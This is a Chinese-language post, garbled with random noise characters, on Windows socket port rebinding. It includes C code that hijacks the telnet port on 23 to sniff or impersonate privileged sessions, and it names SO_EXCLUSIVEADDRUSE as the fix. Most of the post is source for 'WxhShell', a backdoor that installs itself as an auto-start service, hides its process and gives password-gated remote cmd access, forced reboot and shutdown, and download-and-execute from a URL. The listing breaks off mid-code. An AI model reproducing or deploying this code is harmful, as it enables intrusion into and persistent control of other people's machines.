在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
' [M2Q"X s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
GVPEene ;{#M saddr.sin_family = AF_INET;
/t2<OU9 4rCqN.J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J*kzJ{vwy* SOY#, Zu bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
oZ>]8vw j-\^
}K.& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+=F);;! +/ d8d 这意味着什么?意味着可以进行如下的攻击:
E~U|v'GCd MhXm-<4
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
VHkrPJ[ +R jD\6bJb 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6O?S r, G?X,Y\Lp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[}Yci:P_ + j;c^pLUP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Q14;G<l- I.0Usa"z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)qQg n] 1+[|pXT} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
d3hTz@JY BwA~*5TFu 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<i@jD LWR&(p.% #include
-|UX}t* #include
$zH0$aOx #include
2G*#Czr" #include
s%re>)=| DWORD WINAPI ClientThread(LPVOID lpParam);
*" +cP! int main()
rb4g<f| {
."g5+ xX WORD wVersionRequested;
fae yk]u DWORD ret;
I>\?t4t WSADATA wsaData;
o%s}jBo} BOOL val;
>Qu^{o SOCKADDR_IN saddr;
R-0Ohj SOCKADDR_IN scaddr;
J;9QDrl` int err;
QRix_2+ SOCKET s;
[_B&7#3>7 SOCKET sc;
PW\FcT int caddsize;
o*S $j Cf? HANDLE mt;
X Ow^"=Oa[ DWORD tid;
Ya{1/AaM wVersionRequested = MAKEWORD( 2, 2 );
L{ ^@O0S err = WSAStartup( wVersionRequested, &wsaData );
ed2&9E>9b if ( err != 0 ) {
x@l~*6!K printf("error!WSAStartup failed!\n");
|xC
TX return -1;
X64I~* }
(9lx5 saddr.sin_family = AF_INET;
WM7/|.HQ 9E*K44L/V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+ {dIs DccsVR`7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+opN\`
saddr.sin_port = htons(23);
9`VF
[*
9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'%7]xp {
{Z;GNMO: printf("error!socket failed!\n");
jCa;g{#@ return -1;
BFRSYwPr }
X+BSneu val = TRUE;
*g}&&$b0 //SO_REUSEADDR选项就是可以实现端口重绑定的
XsMphZnK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b,sc {
)x s, printf("error!setsockopt failed!\n");
nlnJJM&J$ return -1;
M- A}(r +J }
55en
D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!~kzxY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$S ("-3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
f@g n#,l&Bx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
VAzJclB {
i`spM<iR. ret=GetLastError();
)o,0aGo>Of printf("error!bind failed!\n");
@=1``z# return -1;
}Elce} }
(ytkq( listen(s,2);
K Hc + while(1)
e4LNnJU\| {
tfQq3 # caddsize = sizeof(scaddr);
(HxF\#r? //接受连接请求
^%^0x'" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
YtQWArX, if(sc!=INVALID_SOCKET)
N$b;8F {
!X_~|5. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
xo+z[OIlF if(mt==NULL)
"|rqt.f2[ {
U]$3NIe printf("Thread Creat Failed!\n");
1\kehCt break;
u'."E7o# }
GC3L2C0)k }
8B9zo& CloseHandle(mt);
#{1fb%L{i }
.9QQ]fLs closesocket(s);
)UUe5H6Hd0 WSACleanup();
JR)rp3o- return 0;
\]El%j4 }
CB1u_E_ DWORD WINAPI ClientThread(LPVOID lpParam)
&o.SmkJI {
B/}>UHM SOCKET ss = (SOCKET)lpParam;
9\2&6H SOCKET sc;
JH#?}L/0Fe unsigned char buf[4096];
B:.rp.1 SOCKADDR_IN saddr;
aQFHB! long num;
p-k qX DWORD val;
j&5Xjl>4 DWORD ret;
:Yqa[._AF //如果是隐藏端口应用的话,可以在此处加一些判断
//|Vj | = //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Hq$|j,&? saddr.sin_family = AF_INET;
2T9Z{v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^Quy64M saddr.sin_port = htons(23);
RJD3o_("K if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W
aU_Z/{0 {
;;5i'h~?]J printf("error!socket failed!\n");
\eCdGx? return -1;
AJu. }
8EA?'~" val = 100;
IgL8u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*Y~64FM {
Po3W+;@ ret = GetLastError();
f_8~b0` return -1;
jEI L(0_H }
8b!_b2Za if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WTx;,TNG {
L8Q!6oO=< ret = GetLastError();
Y`uCDfcQ return -1;
(Bz(KyD[ }
).xWjVC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
3}+
\&[ {
S{6u\Vy printf("error!socket connect failed!\n");
`<q5RuU closesocket(sc);
1wt]J!hgV closesocket(ss);
X*Zv,Wm return -1;
$)!Z"2T }
r^)<Jy0|r while(1)
=B1!em| {
clNP9{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
jC%I]#!n //如果是嗅探内容的话,可以再此处进行内容分析和记录
! ZEKvW //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/_\4(vvf num = recv(ss,buf,4096,0);
/Y:Zqk3 if(num>0)
HFOp4 send(sc,buf,num,0);
^Tx1y[hw$ else if(num==0)
;f
Gi5=- break;
4tjRju? num = recv(sc,buf,4096,0);
Hw?
J1#1IE if(num>0)
>B0S5:S$W send(ss,buf,num,0);
??PpHBJ') else if(num==0)
FmPF7 break;
H'2 =yhtVh }
^E^: =Q?'_ closesocket(ss);
$ }53f'QjW closesocket(sc);
al/~ return 0 ;
c@`P{6 }
Wj&s5;2a 2ip~qZNw>< 9}N*(PI ==========================================================
zPe . >\ W" 3. 下边附上一个代码,,WXhSHELL
0dW1I|jR 9EEHLx" ==========================================================
K4"as9oFP }O/Nn0, #include "stdafx.h"
E2MpMR aH_&=/-Tz
#include <stdio.h>
Dp8(L ]6 #include <string.h>
S(pfd2^ #include <windows.h>
F+GQ l #include <winsock2.h>
<S
qbj; #include <winsvc.h>
b~}}{fm&f #include <urlmon.h>
s6I]H Ts\7)6|F #pragma comment (lib, "Ws2_32.lib")
6C:Lq%} #pragma comment (lib, "urlmon.lib")
>qCT#TY 0Ko,S(M_ #define MAX_USER 100 // 最大客户端连接数
TR |; /yJ #define BUF_SOCK 200 // sock buffer
l-&f81W #define KEY_BUFF 255 // 输入 buffer
dU,/!|.K \iFE,z #define REBOOT 0 // 重启
(ZYOm #define SHUTDOWN 1 // 关机
@cON"( \xt!b^d0 #define DEF_PORT 5000 // 监听端口
'py
k #!2gxm;g #define REG_LEN 16 // 注册表键长度
pmC@ fB #define SVC_LEN 80 // NT服务名长度
="`y<J P Nn$$yUkMX // 从dll定义API
VaB7)r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0pQ>V) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5Ai
Yx} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
IH5thL@D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
B?jF1F!9 `f s[C
// wxhshell配置信息
vI-KH:r"{ struct WSCFG {
MmX42;Pw int ws_port; // 监听端口
U+KbvkX wj char ws_passstr[REG_LEN]; // 口令
MIgIt"M jz int ws_autoins; // 安装标记, 1=yes 0=no
7Ny>W(8 char ws_regname[REG_LEN]; // 注册表键名
m ]\L1& char ws_svcname[REG_LEN]; // 服务名
6?6
u char ws_svcdisp[SVC_LEN]; // 服务显示名
z"<PveVo char ws_svcdesc[SVC_LEN]; // 服务描述信息
|^ qW
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
, Le_PJY) int ws_downexe; // 下载执行标记, 1=yes 0=no
n}l Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
HBt?cA ' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
t/3veDh@ "783F:mPh };
C oaqi`v4T ]C!u~A\jq // default Wxhshell configuration
1yhx)m;f struct WSCFG wscfg={DEF_PORT,
E_++yK^= "xuhuanlingzhe",
$z<CkMP!U7 1,
og>f1NwS[ "Wxhshell",
&rn,[w_F[ "Wxhshell",
_2|,j\f;L "WxhShell Service",
#8PjYB "Wrsky Windows CmdShell Service",
nP}/#Wy "Please Input Your Password: ",
|aZ^K\yI F 1,
/fX]Yu "
http://www.wrsky.com/wxhshell.exe",
$1axZ~8sS "Wxhshell.exe"
HwDb &pP" };
l6i 2!&8P% )T>a|. // 消息定义模块
3}"VUS0wh char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<Sz9: hg- char *msg_ws_prompt="\n\r? for help\n\r#>";
h.67]U7m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4EOu)# char *msg_ws_ext="\n\rExit.";
_%t w#cM char *msg_ws_end="\n\rQuit.";
`q F:rQ char *msg_ws_boot="\n\rReboot...";
CSs3l char *msg_ws_poff="\n\rShutdown...";
2W}RXqV< char *msg_ws_down="\n\rSave to ";
z.QW*rW9 Cnn,$R=/s char *msg_ws_err="\n\rErr!";
IRpCbTIXK char *msg_ws_ok="\n\rOK!";
O".#B ZI8p(e char ExeFile[MAX_PATH];
~sM334sQ int nUser = 0;
zNBG;\W HANDLE handles[MAX_USER];
giI9-C int OsIsNt;
UPbG_ #"wZ 2+|[e_ SERVICE_STATUS serviceStatus;
oL<^m?-u SERVICE_STATUS_HANDLE hServiceStatusHandle;
&R 0BuFL8 }b1P!xb!A // 函数声明
$Q?UyEi int Install(void);
Ngg (<ZN int Uninstall(void);
Cu0 /TeEM int DownloadFile(char *sURL, SOCKET wsh);
hRME;/r]X int Boot(int flag);
}@x0@sI9 void HideProc(void);
f1Rm9`` int GetOsVer(void);
RNm/&F1C$ int Wxhshell(SOCKET wsl);
^f4qs void TalkWithClient(void *cs);
]+J]}C]\d int CmdShell(SOCKET sock);
5Eq_L int StartFromService(void);
\wTWhr0 int StartWxhshell(LPSTR lpCmdLine);
AR&u9Y)I ^.k}YSWut VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
GLEGyT?~ VOID WINAPI NTServiceHandler( DWORD fdwControl );
zhFGMF1 FQ );el'_V // 数据结构和表定义
Rrs z{a
SERVICE_TABLE_ENTRY DispatchTable[] =
UA{A G; {
r l!c\ {wscfg.ws_svcname, NTServiceMain},
`DEz `
D {NULL, NULL}
6}[W%S]8 };
gPDc6{/C< yXlzImPn // 自我安装
'GAjx{gM int Install(void)
,KZ_#9[> {
X.g1
312~ char svExeFile[MAX_PATH];
0'a.Ypf HKEY key;
<x,$ODso strcpy(svExeFile,ExeFile);
{"O'kx [7$.)}Q- // 如果是win9x系统,修改注册表设为自启动
'#^ONn STn if(!OsIsNt) {
2LXy$[)7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ptX;-'j( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|',MgA RegCloseKey(key);
EWbFy"= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ao Y"uT+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SeKU?\ RegCloseKey(key);
a:1-n%&F return 0;
j:rGFd }
$
-;,O8yR }
`j@2[XdHu }
`ez_
{ else {
kAU[lPt*R 1H%LUA // 如果是NT以上系统,安装为系统服务
c_+}` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vWwp'q if (schSCManager!=0)
MH1??vW {
uTngDk SC_HANDLE schService = CreateService
.#P'NF(5# (
*uNa(yd schSCManager,
S$ dFz wscfg.ws_svcname,
W$
M4# wscfg.ws_svcdisp,
#\Lt0 SERVICE_ALL_ACCESS,
sFMSH:5z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Wcw$
Zv SERVICE_AUTO_START,
/qEoiL### SERVICE_ERROR_NORMAL,
A@+pvC& svExeFile,
.XTBy/(0 NULL,
~gmj/PQ0 NULL,
:,% vAI NULL,
o|$l+TC NULL,
R Mrh@9g NULL
Fd9ypZs );
dFK/ if (schService!=0)
RoT}L#!! {
eVn]/.d CloseServiceHandle(schService);
Bk*AO?3p CloseServiceHandle(schSCManager);
=rGjOb3+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vEk
jd# strcat(svExeFile,wscfg.ws_svcname);
SVo:%mX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U)o(}:5xF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?x=;?7 RegCloseKey(key);
C8%q?.nH= return 0;
Ak^g#^c* }
GeD^-.^ }
b+9M? k" CloseServiceHandle(schSCManager);
;i@,TU }
+\2{{~_z }
N\BB8<F rgJKXl;@s return 1;
]^$3S }
f9?\Q'v8 jIaAx_ // 自我卸载
}$?xwcPU int Uninstall(void)
Z~[ c65Nlu {
|1uyJ?%B HKEY key;
?vp'
/l" QJ\
o"c if(!OsIsNt) {
mbK$_HvU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k|'{$/n RegDeleteValue(key,wscfg.ws_regname);
\ym3YwP4/: RegCloseKey(key);
&;DK^ta*P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$i;%n1VBg RegDeleteValue(key,wscfg.ws_regname);
v=R=K RegCloseKey(key);
V)mitRaV return 0;
pqmtN*zV }
|VQ17*4ff1 }
8m\*~IX= }
gi#bU else {
Q30AaG}f ~7IXJeon SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"AMbU68 if (schSCManager!=0)
|
U ) {
3A!`U6C( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
g4EC[>5!r if (schService!=0)
$F"'=+0 {
Qyx%:PE if(DeleteService(schService)!=0) {
a<*q+a(*W CloseServiceHandle(schService);
'@i0~ CloseServiceHandle(schSCManager);
T{<riJ`O return 0;
Zn0e#n }
m-Z<zEQ CloseServiceHandle(schService);
4i|yEf }
LVP2jTz CloseServiceHandle(schSCManager);
4+"2K-] }
wc`UcGO }
nLicog)!I F!(Vg return 1;
H0r@dn }
I7,5ID4pn F,5~a_GP? // 从指定url下载文件
3 }~.#`QeY int DownloadFile(char *sURL, SOCKET wsh)
wrI66R}@ {
uj;tmK>; HRESULT hr;
@)k/t>r( char seps[]= "/";
|mvY=t
% char *token;
KcKdhqdN- char *file;
/enlkZx=8 char myURL[MAX_PATH];
!Lkk1zo char myFILE[MAX_PATH];
&y_Ya%Z3*e X?whyD)vE@ strcpy(myURL,sURL);
2t
7':X token=strtok(myURL,seps);
XT+V> HI while(token!=NULL)
AQ+MjS, {
ynY( file=token;
F#Y9 @E token=strtok(NULL,seps);
$r+_Y/ }
b?i5C4=K 0])D)%B
k GetCurrentDirectory(MAX_PATH,myFILE);
I8};t b# strcat(myFILE, "\\");
uIh68UM strcat(myFILE, file);
b$FK}D5 send(wsh,myFILE,strlen(myFILE),0);
F/p/&9 send(wsh,"...",3,0);
)<YfLDgTs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6.5E
d- if(hr==S_OK)
s R/z)U_ return 0;
V9`?s0nn^ else
./5LV)_` return 1;
hNU$a?eVpR -J &y]' }
Z:eB9R#2y |xYr0C[Pq // 系统电源模块
'aV])(Wm> int Boot(int flag)
HE!"3S2S&+ {
0MpZdJ HANDLE hToken;
=)b!M^=X-a TOKEN_PRIVILEGES tkp;
@~7y\G =1#obB if(OsIsNt) {
m4\e`nl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
R?62gH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{:;6 *W tkp.PrivilegeCount = 1;
c o 8bnH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0nr 5(4h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
nMM:Tr if(flag==REBOOT) {
l(A)G d5> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<=nOyT9 return 0;
2o)8 'Lp }
d)>b/0CZ else {
fM/~k>wl if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
L0\~K~q return 0;
/aV;EkyO, }
5]f6YlJZ }
R<djW5 ()f else {
i 1dE.f; if(flag==REBOOT) {
8yCt(ms if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
s@02?+/ return 0;
Uv) B }
7m$EZTw? else {
Z1}@N/>> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
iWGn4p' return 0;
o[^nmHrM2 }
=0t<:-?.- }
:%[mc-6. /6y9u} return 1;
F:7d}Jx }
43.Q);4 ^V}c8 P| // win9x进程隐藏模块
]A=yj@o$xN void HideProc(void)
8 /vGA= {
*Z8qd{.$q :X*$U
~aQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S:lie*Aux* if ( hKernel != NULL )
eC{St0 {
gWD46+A){ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
AXpg_JC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.QU] FreeLibrary(hKernel);
x?7z15\ }
4^Ke?;v C;3 return;
{h*)|J }
-{XDQ{z<% ZS<`.L6B3 // 获取操作系统版本
nV:RL|p2jw int GetOsVer(void)
"l 8YD&q {
XvSng"f. OSVERSIONINFO winfo;
icK$W2<8mg winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=4[
U<opP GetVersionEx(&winfo);
Hk
f<.U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3ytlD ' return 1;
Na>w~ else
!aB~G}' return 0;
O70#lvsM; }
;I9g;} Z'UhJu D5 // 客户端句柄模块
~KQiNkA\|l int Wxhshell(SOCKET wsl)
g4 3(N!@g {
&gF9VY SOCKET wsh;
~ <36vsk struct sockaddr_in client;
I@oSRB DWORD myID;
WF_v>g:g gNJdP!(t while(nUser<MAX_USER)
11vAx9 {
EQtY b"_ int nSize=sizeof(client);
5?Ukf$)x wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
a9u2Wlz if(wsh==INVALID_SOCKET) return 1;
RnSll- bkuJN% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
KV)if' if(handles[nUser]==0)
e I9#JM|2 closesocket(wsh);
bcgXpP else
-TMg9M4 nUser++;
9m.MGJbQ_f }
Dz&,g+>$J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"TI>_~ %'uei4 return 0;
#-i#mbZ e }
a/</P
|UG ||L^yI~_d // 关闭 socket
K$l@0r ~k void CloseIt(SOCKET wsh)
j}O qWX>/ {
]N2!
'c closesocket(wsh);
D*>#]0X nUser--;
QHxof7 ExitThread(0);
H$V`,=H }
dT0>\9ZNr )5NWUuH 5 // 客户端请求句柄
ik](k"1{ void TalkWithClient(void *cs)
f/QwXO-U {
^T#jBqe W&k@p9 SOCKET wsh=(SOCKET)cs;
S17;;w0 char pwd[SVC_LEN];
\ Q^grX char cmd[KEY_BUFF];
0(>3L : char chr[1];
)HcLpoEi int i,j;
FTr'I82m( `-JVz{z while (nUser < MAX_USER) {
UfIr"bU6 $;&l{=e2) if(wscfg.ws_passstr) {
D|amKW7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z9!OzGtIR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.C.b5x! //ZeroMemory(pwd,KEY_BUFF);
_K&Hiz/' i=0;
XG!6[o; while(i<SVC_LEN) {
]j!pK4 mMvAA; // 设置超时
%LM6=nt fd_set FdRead;
L?Ys(a"k struct timeval TimeOut;
~MP |L?my FD_ZERO(&FdRead);
;%Px~g FD_SET(wsh,&FdRead);
E0x\h<6W~ TimeOut.tv_sec=8;
=XtQ\$Pax TimeOut.tv_usec=0;
^ir)z@P?V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
O c.fvP^ZD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
N~0ihTG5 za+)2/
`L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%ZcS"/gf pwd
=chr[0]; -k@1#c+z
if(chr[0]==0xd || chr[0]==0xa) { f[
2PAz
pwd=0; )dFPfu&HL
break; %|%eGidu
} 0@[*~H0{n
i++; 6#AEVRJKU@
} `x=$n5=8
!^8X71W|
// 如果是非法用户,关闭 socket Dw.I<fns^B
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5F!Qn\{u{
} hs5>Gx
j0j!oj)7I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [?hvx}
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Q!kk5jE
rB{w4
while(1) { &4+|{Zx0
0b/@QgJ
ZeroMemory(cmd,KEY_BUFF); ZyDNtX%
}n
"5r(*^@
// 自动支持客户端 telnet标准 )t@9!V
j=0; alB'l
while(j<KEY_BUFF) { yj@k0TWT$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6)p8BUft
cmd[j]=chr[0]; S>>wf:\ c
if(chr[0]==0xa || chr[0]==0xd) { wdAKU+tM
cmd[j]=0; }O>4XFj
break; 4lWqQVx
} ,Tu.cg
j++; 8{QCW{K
} #0vda'q=j
; o
Y|~
// 下载文件 |d&C<O;f
if(strstr(cmd,"http://")) { ,vO\n^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7#d:TXS
if(DownloadFile(cmd,wsh)) kz1#"8Zd!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /a<UKh:A[
else U<Tv<7`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [*Ai@:F
} ?AD-n6
else { 0j;ZPqEf3
(# mvDz
switch(cmd[0]) { E
N%{ $
KS<@;Tt
// 帮助 h]L.6G|hEN
case '?': { ;ne`ppz0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k*n~&y: O
break; cc*?4C/t
} 4].o:d;`/
// 安装 6dmb
bgO)
case 'i': { !'~L dl
if(Install()) /8Y8-&K0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RRPPojKZ
else B`<}YVA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
3cgq'ob
break; uS,?oS
}
Igmg&
// 卸载 6)ibXbH
case 'r': { 6u #eLs
if(Uninstall()) 1U#W=Fg'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _B#x{ii
else jrFPd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /FE+WA}r
break; #*/nUbsg
} =1dczJHV
// 显示 wxhshell 所在路径 wn?oHz*
case 'p': { Exqz$'(W9
char svExeFile[MAX_PATH]; 7%EIn9P
strcpy(svExeFile,"\n\r"); ZzNHEV
strcat(svExeFile,ExeFile); M9A1
8d|
send(wsh,svExeFile,strlen(svExeFile),0); zn 0y`9!n?
break; <Vk}U
} .%{B=_7
// 重启 Y,v9o
case 'b': { B )[RIs
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T0")Ryu
if(Boot(REBOOT)) @wa"pWx8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K=HLMDs
else { .`m|Uf#"
_
closesocket(wsh); $x`HmL3Sb
ExitThread(0); !L{mE&
} MKvmzLh$)
break; pP1DR'
} HEbL'fw^s
// 关机 >!@D^3PPA
case 'd': { p<H_]|7$7U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1t^y?<)
if(Boot(SHUTDOWN)) ?k4Hk$V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dp^PiyL
else {
gk 6R#
closesocket(wsh); X4S|JT
ExitThread(0); \Db;7wh
} eu" m0Q
break; oNe:<YT
} iB(?}SaAZ
// 获取shell w-ald?`
case 's': { fcEm:jEZ*
CmdShell(wsh); &WBpd}|+Y
closesocket(wsh); 2<5LQr
ExitThread(0); G gA:;f46
break; P$Vh{]4i{
} fsPNxy"_
// 退出 EBW*v '
case 'x': { L!l?tM o
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o.NU"$\?
CloseIt(wsh); &4|]VOf
break; hG.}>(VV
} <Tjhj*
// 离开 ] 9C)F*r7
case 'q': { jd ;)8^7K
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qc-W2%
closesocket(wsh); l<uI-RX"
WSACleanup(); Uz,P^\8^$
exit(1); Jj[3rt?8
break; Mn/
} AZhI~QWo
} ]}].Aq
} @xBb|/I
#&IrCq+
// 提示信息 NAE|iyw
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i^jM9MAi
} O4f9n
} Lf^
7|
Y=<ABtertS
return; ~FYC'd
} *!y04'p`<
paD[4L?4Hk
// shell模块句柄 fgtwVji
int CmdShell(SOCKET sock) !gRU;ZQU_
{ 0 fT*O
STARTUPINFO si; y~#5!:Be
ZeroMemory(&si,sizeof(si)); rU"AO}6\@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .O0eSp|e
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j -o
PROCESS_INFORMATION ProcessInfo; KYB3n85 1
char cmdline[]="cmd"; ,?j!c*
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GYIQ[#'d7
return 0; A@lM=
} jWxa
[>
7mi*#X}
// 自身启动模式 ?^!J:D?
int StartFromService(void) V?JmIor
{ Pfvb?Hy
typedef struct uv$5MwKU
{ $aTo9{M ^
DWORD ExitStatus; {)r[?%FMgV
DWORD PebBaseAddress; 4%nK0FAj
DWORD AffinityMask; g=4P-i3
DWORD BasePriority; `O3#/1+
ULONG UniqueProcessId; l>`S<rGe
